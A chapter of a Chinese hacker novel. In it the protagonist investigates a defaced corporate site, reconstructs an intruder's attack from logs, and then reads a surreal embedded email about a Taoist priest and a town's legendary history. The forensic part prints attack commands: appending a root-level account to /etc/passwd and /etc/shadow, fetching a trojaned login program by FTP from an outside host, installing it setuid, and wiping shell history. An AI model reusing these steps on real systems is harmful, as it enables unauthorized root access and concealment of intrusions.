8.
下午快下班的时候,雨又开始落下来,西西愁眉苦脸站在窗前。如果有人认为西西是在为回家发愁,那就大
错特错了。曾经有人在这种时候把伞递给他,他的反应相当激烈,“你把我当什么人了?”
“我不是为回家发愁,是为我的命运发愁。”看见别人不解,西西很认真的解释。
这些话不能认真对待,如果有人对这些话过份计较,那他不仅智力有问题,而且知识结构也不太完善。换句
话说,他对这些聪明的黑客了解太少。黑客营的成员,都有一种泛深奥化的自然趋势,这不是他们有意为
之,而是由技术本身的特点所决定。有人问过上一辈著名的数学黑客哈代,让他用通俗的语言解释一下自己
的工作,他想了很久,花了和他证明e是无理数同样多的时间,也只想出了一句话,“我的工作,就是努力与
现实世界不产生任何关系。”这句话本身没有任何值得赞赏或难解的地方,但它说明一个事实,当一个黑客
准备向一个不是黑客的人解释他的工作或生活时,他的话常常显得比较深奥,再加上一些冷僻的行话,更使
得黑客和普通人的交流类似鸡同鸭讲。他们对此毫无办法,心存忧虑。黑客的一些恶作剧行为,比如,非法
进入网站修改主页,进入银行下载信用卡资料等等,不过是在宣泄无法交流的苦闷,吸引公众注意力。后来
的所谓“注意力”经济,即以此为发端。西西个人认为这种行为很幼稚,只能增加公众对黑客的误解,因此
他选择用语言的方式来排遣心中不能为人理解的郁闷。这是他的话语中经常提及命运、生命、前途等词汇的
原因,用他自己的话来说,“我是个语义派的黑客”。一般人不理解这点,认为他是在故弄玄虚,但对于知
道他难言之隐的人来说,这是可以理解的,并为他感到不平。
“难道不能让他有那么一点令人讨厌的地方吗?”阿程经常为西西辩护。
“难道在游戏里我们也不能装得深沉一点?”西西有时也自我辩解一下。
今天没人问西西为什么不回家,也没人帮他说话,即使他认为自己今天说了一句很肉麻的话,愁苦表情上升
一个档次,已经达到表演层次,足可以写一首诗。
电话铃响了,三声以后,西西拿起电话,问道:“喂,请问找哪位?”
“好的。”他把电话从耳边拿下来,用手压住听筒问周围的同事:“谁赌?”
工作区至少四只手举起来。
“老规矩?”西西又问。
“OK。”有人回答,也有人只是盯着他。
西西盯着眼前的手,重新把话筒放到耳边,说,“好的,我立即到您的办公室。”
“嘿,给钱吧。”西西放下听筒,笑着说。
“不会真的是他吧?”小秦不太相信。
“不信跟着我去啊。”西西收了钱,向研发总监的办公室走去。不只一个人,包括西西,都开始摇头,“今
天怎么他妈这么倒霉。”
西西转过洗手间时,犹豫了一下,终于没有走进去。他已经不像几年前,一听到上司电话就要上厕所。他把
这归功于自己加入了黑客工会,有了组织撑腰。当然,也有人认为这是由于一个不是黑客的上司缺少技术上
的威摄力所致。他接着往前走。一条近二十米的过道,两边淡玉色的墙上贴满各大媒体对公司高层的专访及
报道。文字结构。图像结构。超文本链接。研发总监抱手而立,大眼镜被左侧的背影光线照得闪闪发光。走
火通道旁边有一条小门,被报警锁关闭。强电及弱电井,位于里面二米多深的地方。空无一人。鞋底与地毯
摩擦,发出低低的沙沙声。没人知道我走向何处,我是不是在欺骗他们?。走道正对着开阔的西工作区,正
准备回家的同事,站在巨大的陶色窗玻璃下,说着,一些东西在他们的手中传递。什么事儿呢?今天一切正
常。没有新的依妹儿。Anti-spam程序在起作用。过道尽头左转,避过一株生长良好的盆载植物,绿色叶片
从眉骨上方像一组飞机编队快速划过,碰上从账务室出来的史小姐,胸部很大。还不走,她问,胸部挺动。
有点事,他回答。胸部。右转,在一个门前站住。敲了两下。进来,里面的人说。他走进去。没有开灯,房
间很暗。总监坐在他的大班椅上,沙发上坐着另一个人。他不认识。不是公司的员工。那人对他笑笑。他点
点头。这是我们公司的西西,是个高手,这是永丰公司的叶总。你好,叶总很客气。你坐下,有个事你帮叶
总去看看,总监说。
他们公司的网站被人黑了你帮叶总去看看对了这已经是第二次了上次黑了以后我们把老页面换了上去没过多
久又被人改掉了你们重新装一下系统好了不行我们的业务不能被中断大概被装了后门了希望你能帮我们看看
但我们只卖邮件系统不负责系统维护你去看看吧研发总监说西西发现自己又说错了话。
西西坐着叶总的车来到永丰公司时,差不多七点整。西西登录系统。
西西首先查看了以下的日志文件[注1]:
/var/log/secure
Dec 19 19:18:56 mozart in.telnetd[11634]: connect from 202.168.11.200
Dec 19 19:18:56 mozart imapd[11635]: connect from 182.10.36.78
Dec 19 19:18:56 mozart in.fingerd[11637]: connect from 63.202.220.18
Dec 19 19:18:56 mozart ipop3d[11638]: connect from 195.113.101.11
Dec 19 19:18:56 mozart in.telnetd[11639]: connect from 210.59.145.203
Dec 19 19:18:56 mozart in.ftpd[11640]: connect from 200.197.23.7
Dec 19 19:19:03 mozart ipop3d[11642]: connect from 168. 160.77.23
Dec 19 19:19:03 mozart imapd[11643]: connect from 202.109.55.21
Dec 19 19:19:04 mozart in.fingerd[11646]: connect from 203.110.245.21
Dec 19 19:19:05 mozart in.fingerd[11648]: connect from 10.76.183.123
/var/log/maillog
Dec 19 21:01:58 mozart imapd[11667]: command stream end of file, while reading line
user=??? host=[211.87.32.27
Dec 19 21:01:58 mozart ipop3d[11668]: No such file or directory while reading line
user=??? host=[98.100.34.87]
Dec 19 21:02:05 mozart sendmail[11675]: NOQUEUE: [109.13.1.126]: expn root
/var/log/httpd/access_log
178.176.19.11 - - [19/Dec/1999:16:44:49 -0500] "GET /cgi-bin/search.cgi?id=10298
HTTP/1.0" 302 192
212.34.7.55 - - [19/Dec/1999:16:44:49 -0500] "GET /doc/doc.html HTTP/1.0" 404 168
200.8.12.220 - - [19/Dec/1999:16:44:49 -0500] "GET /software/list.cgi?id=2918 HTTP/1.0"
404 168
162.100.39.230 - - [19/Dec/1999:16:44:49 -0500] "GET /cgi-bin/showimage.cgi?file_no=20
HTTP/1.0" 404 168
67.230.11.12 - - [19/Dec/1999:16:44:49 -0500] "GET /index.html HTTP/1.0" 404 172
一切正常,所有的痕迹被打扫得干干净净。
“怎么样?”永丰公司的工程师杨明问。叶总在车上,有人打电话来,到了公司,没上楼就走了。
“重装系统吧。”西西说。
“不行的。要装,我们上次就装了。”杨明说。
“上次你们被黑以后,没有做什么补救措施?”西西问。
“把页面恢复了。”杨明说。
“其他呢?”
“其他……”
“上次谁帮你们做的恢复?”
“不太清楚。”杨明说,“他们好像装了一个什么程序在上面。”
“什么程序?”西西问,“你好好想想。”
“你知道有一个很著名的‘know your enemy’吗?”
“Lance Spitzner?”西西问。
“好象是。”
“他现在已经不行了。落后了。”西西说。
西西在/home/snort/找到了Lance Spitzner的sniffer程序,它的日志文件是/var/log/messages,里面有
一些有趣的记录:
Dec 16 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
Dec 16 06:44:25 server1.flink.com.cn PAM_pwdb[12509]: (login) session opened for user
twin by (uid=0)
Dec 16 06:44:36 server1.flink.com.cn PAM_pwdb[12521]: (su) session opened for user hantu
by twin(uid=506)
第一条记录表明,端口53被人利用,进行了入侵,而后两条记录表明入侵者已取得这台服务器的root权限,
控制了该服务器。
西西进一步在/var/log/messages中找到了入侵者入侵的方式。
Dec 15 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4499 ->
172.16.1.107:53
Dec 15 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4630 ->
172.16.1.101:53
很显然,入侵者利用该系统的DNS[注2]缺陷。看来这家伙也会“溢出”大法。西西从snort的日志文件中大
致分析出入侵者的入侵过程:
1)他利用该系统DNS缺陷,使用“溢出”大法,远程执行了一个root shell:
cd /; uname -a; pwd; id;
Linux server1.flink.com.cn 2.2.5-15 #1 Mon Apr 19 22:21:09 EDT 2000 i586 unknown
/
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
echo "twin::506:506::/home/twin:/bin/bash" >> /etc/passwd
echo "twin:w3nT2H0b6AjM2:::::::" >> /etc/shadow
echo "hantu::0:0::/:/bin/bash" >> /etc/passwd
echo "hantu:w3nT2H0b6AjM2:::::::" >> /etc/shadow
在这段shell[注3]中,他在系统中增加了两个用户:twin和hantu。
2)他先用twin用户登陆来,然后转成超级用户[注4]hantu。
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
login: twin
Password: hax0r
No directory /home/twin!
Logging in with home = "/".
[twin@apollo /]$ su hantu
Password: hax0r
3)他FTP[注5]到另一台机器,下载他的工具包,为下一次进入作准备。
[root@server /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get bj.c
local: bj.c remote: bj.c
200 PORT command successful.
150 Opening BINARY mode data connection for bj.c (1010 bytes).
226 Transfer complete.
1010 bytes received in 0.115 secs (8.6 Kbytes/sec)
ftp> quit
221-You have transferred 1010 bytes in 1 files.
221-Total traffic for this session was 1421 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.
其中bj.c是一个后门程序,实际上是一个修改过的LOGIN程序[注6]。
4)他编译这个后门程序,并安装它。
[root@server /]# gcc -o login bj.c
[root@server /]# chown root:bin login
[root@server /]# chmod 4555 login
[root@server /]# chmod u-w login
[root@server /]# cp /bin/login /usr/bin/xstat
[root@server /]# cp /bin/login /usr/bin/old
[root@server /]# rm /bin/login
[root@server /]# chmod 555 /usr/bin/xstat
[root@server /]# chgrp bin /usr/bin/xstat
[root@server /]# mv login /bin/login
[root@server /]# rm bj.c
5)打扫他入侵的痕迹。
[root@server /]# ps -aux | grep inetd; ps -aux | grep portmap; rm /sbin/portmap ;
rm /tmp/h; rm /usr/sbin/rpc.portmap; rm -rf .bash*; rm -rf /root/.bash_history; rm -
rf /usr/sbin/named;
6)他用新的方式登陆,他将终端类型设为VT9111,绕过了用户口令认证。
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586 [root@server /]# ls
bin cdrom etc home lost+found proc sbin usr
boot dev floppy lib mnt root tmp var
7)修补有缺陷的DNS程序,让别的黑客不能再利用这个DNS漏洞入侵。
杨明在旁边一直看着西西操作,看见他不断地从机器中调出数据,他知道西西已经找到入侵的家伙。
“怎么样?”杨明问。
“差不多了。”西西说,“你重新装一个login程序上来, 同时去redhat[注7]的站点下载一个patch[注8]
吧。”
“什么patch?”
“一个修改DNS程序的patch。”
“他只修改了这两个程序?”杨明问。
“他只修改了一个程序,就是login程序。DNS程序是redhat自带的bug。”西西说。
“谢谢你啊。”杨明乐呵呵到一边去下载程序。西西等他走远,进入一个隐藏目录,找到一个正文文件
BIRTH.TXT。在分析过程中,西西隐隐感到一些不对劲,这个家伙似乎知道他非常熟悉Lance Spitzner的文
章,完全照搬文章中的方法,使得甩分析起来得心应手,像在相互配合一样。西西从过程的顺利中预感到这
肯定又是一个陷井。
他打开那个正文文件,屏幕上出现如下的文字结构,依然是依妹儿的格式:
发件人:iknowu@there
收件人:uknowme@here
主题:唐镇
内容:
我说过,我不关心出生问题,我只关心水。没有区别,它们没有本质区别,郑道士说。郑道士的话,我不
懂。出生问题和水的问题显然不是同样的问题,我不知道为什么郑道士要否认它们的区别。如果不是他在欺
骗我,这肯定就是一个阴谋。我没有问他。我知道问他的结果只会让我更加糊涂。如果他能把一个问题说清
楚,他就不是郑道士,就不会有这么高的号召力。我只想知道,这段时间的大水跟我有什么关系,但他却把
我指引到我的出生问题。虽然我不太懂,但我也知道出生问题是一个很私人的问题,不应该让我去操心。让
一个已经出生的人去追问自己的出生问题总显得不伦不类,具有绝对现场的滑稽感,就像让人用反手抓住头
发把自己从地上拉起来。不过,在这个时候,我还只是有所怀疑,不知道郑道士会把事情搞得更加复杂,直
到郑道士突然望空念道:
“时间,一定要盯住时间。”
郑道士边说边挥动他的法剑,我知道他在画符,但不知道为什么他要画符。他的嘴里发出翁翁的声音,我听
不太清楚。他绕着一个烛台走动,烛台上供着一个木牌,我猜那可能是太上老君或张天师。
“这是基本要决,画符要灵念的话,必须死死盯住时间。”他又说。
“你画什么符?”我问。
“我是在为你画一道符,”说着剑穿上一张符纸在火上燃烧起来,发着破裂般的红光。“来,跟着我念。”
“巍巍道德尊,功德已圆成,降身来接引,师宝自提携,慈悲洒法水,用已洗沉迷,永度三清岸,常辞五浊
泥。”
我不知是什么意思,但还是照着念。郑道士的神情让我感到害怕。
我要走,郑道士却让我等一会儿,他说,他要告诉我一个故事,说明出生问题的重要。他讲的是唐镇始祖的
故事。
“你知道唐树儿这个人吗?”
“不知道。”
“那我给你讲讲。”
据唐树儿自己的说法,他是唐镇始祖掌灯的后人,所以写了一部书叫《小大唐演义》。唐镇的历史可以上溯
到三百年前,再往前,据他的说法,“无证可查,无凭可依,写书匠不敢乱写”。地师郑玄用崆峒易数算了
三年,唯一的结果是瞎了两只眼睛,“我什么也看不见,黑茫茫一片……”郑玄最后说。换一种说法,三百
年以前,唐镇还只是一块空地,上面长着六尺深的棘草。“六月丁亥日,始祖自龙泉山踱下。时,山未名龙
泉,始祖也非何姓……”唐树儿在《小大唐演义》开篇这样写道。始祖从龙泉山上走下来,由于是夏天,他
没有急着盖房子,而是像一只第一次看见草地的免子一样东游西荡。当时始祖的年纪不大,在山上的时候从
未吃饱过,看见棘草丛中那些见着人不跑呆若木鸡的野鸡野鸭野免野狗,立即迈不开腿。接下来的事非常符
合逻辑,始祖找来火龙洞的火石,点燃割下来的棘草,抓住身边最近的一个动物,用朱衣河边的利石杀了,
撒上从康巴石上的刮下来的褐盐,穿在木棍上,烤得外黄内嫩,就着海椒,大口大口送进嘴里。正是在这个
时候,始祖第一次体会到生命的美好,于是决定就此生存下去。《小大唐演义》没有提及始祖倒底躺了多长
时间,吃了多少动物,只是隐喻式地说,当始祖发现冷,想站起来的时候,才发现自己已经长成了一个大胖
子,根本无法站起来。现在想来,始祖能成为始祖的确有他的道理,他当时立即发现了一个活下去的办法。
“始祖不能起,数次仍殆,于是侧偃,用身边兽骨掘地……”《小大唐演义》继续这么写道。在第一场大雪
来临之时,他刚好挖成一个可以容纳一条小狗的洞穴。“始祖藏洞内,始觉一月劳作,身心皆轻,如未下山
之时,于是灵心洞开,知天理唯重循环……”书中继续这么写道。这是整个《小大唐演义》中唯一一次对时
间的正面描写,很多年以后,唐树儿承认这是他书中不多的几处败笔之一。
“这就是始祖当初挖狗洞的地方。”唐树儿不止一次指着唐镇的衙门告诉众人,样子像一个先知。唐树儿认
为挖狗洞这件事比狗洞本身有着重要得多的历史学含义,在生存的层面上也有更多的象征意义,但地师郑玄
并不同意。“这个地方,在堪舆中叫正格天师位。”郑玄说,“主地之长兴、繁荣、永祀,差一点都不
行。”
“再说,当时时属冬腊,而此地地处西南,西南丙丁旺火,始祖才能避过严寒。”郑玄继续解释,“唐镇的
第二代传人更是堪舆大师,他不仅在此地起房造屋,而且还在西北建塔,守住巽位。巽位主发,于是唐镇年
年兴发,如水流形,难于阻止。”
这些话,并不是人人都信,也有人反驳过,“艮位旺火,何以衙门从无火烛?”
“你只知其一,不知其二。你看看衙门走势,分明一个激荡的水字,更何况,乾清池门前看护,朱衣河院后
冲涤,此地只患水,何曾怕火?”
“这四方八院,依你看,什么地方建得最好?”有人问过地师郑玄。
“当然是那个茅厕,此处乃唐镇方圆七十里唯一一处阴门,用秽物镇住,永绝鬼患。”地师郑玄说,“不过
有个唯一的缺点,方便之人,得紧守气门,否则阴气逆入,轻者折福,重者损寿。”
地师郑玄说得头头是道,不由人不信。《小大唐演义》对此也有相应记载,“二世祖何德,嫁阚氏,生子何
能,在始祖祠旁建舍,又于西北端建永和塔,存始祖衣冠,二十年苦心经营,唐镇人烟渐茂,蔓延成集。”
如果《小大唐演义》仅仅记载一些历史事件,唐树儿不会把它当成自己毕生最重要的一本书,一部关于唐镇
历史的典藉。实际上《小大唐演义》内容滋蔓杂芜,不仅包括谱牒所记,而且记载神异古怪。第一桩怪事发
生三世祖成年之前,“三世祖年十四,午后卧轩下,听树梢轻语,‘好一个得天独厚的绝地’。世祖起,捡
视林木间,无所视。躺下续睡,俄尔,声音又起,‘二百年后,生者不入,死者不出,绝人绝户。’三世祖
大惊,披衣再起,飙风忽至,白昼如夜,大雨倾盆,永和塔被历雷打下西檐。竖日,有白眉道人从西门入唐
镇。”唐镇是不是从此便画符念咒成风,《小大唐演义》语焉不详,只简略地写道:“三世祖女弟,累夜哭
死,娘亲不认,白眉道人丹红纸上画符,与女弟亵衣共烧之,病乃好。于是,镇上画符之风始行。”
到六世祖何堪,唐镇已是远近闻名的大镇,这个时候,又出现了一件让唐镇人兴奋莫名的事。《小大唐演
义》这样写道:“正北土垒,其名曰兴。道人吴校梓死后葬此。死后三年,盗人入墓,错掘其地,现处石砾
皆金,从此更名为鑫。”从此,唐镇更是人烟稠密,富甲一方。
唐树儿的《小大唐演义》一直写到最后一任地方长官阿呆死去,上面只有寥寥数笔:“衙门天井内,血雾飘
绕,蜂鸣噪耳,阿呆不知所终。”
……
[注1]日志文件:计算机系统中用于记录各种操作的历史记录文件。
[注2]DNS:域名服务器,用于将互联网上的字符串表示的地址转换成IP地址。
[注3]SHELL:UNIX系统中的命令行界面,它的多个命令可组成程序,叫SHELL程序。
[注4]超级用户:计算机系统中具有ROOT权限的用户。
[注5]FTP:文件传输协议(有时也指程序),主要用于在计算机系统之间传送文件。
[注6]LOGIN程序:UNIX系统中用来验证用户登陆口令和密码的程序。
[注7]REDHAT:一个出产LINUX操作系统的公司。LINUX是和UNIX兼容的系统。
[注8]PATCH:补丁程序。如果某个计算机程序存在BUG,出品他们的公司一般通过发布一些补丁程序来修补
它们。
|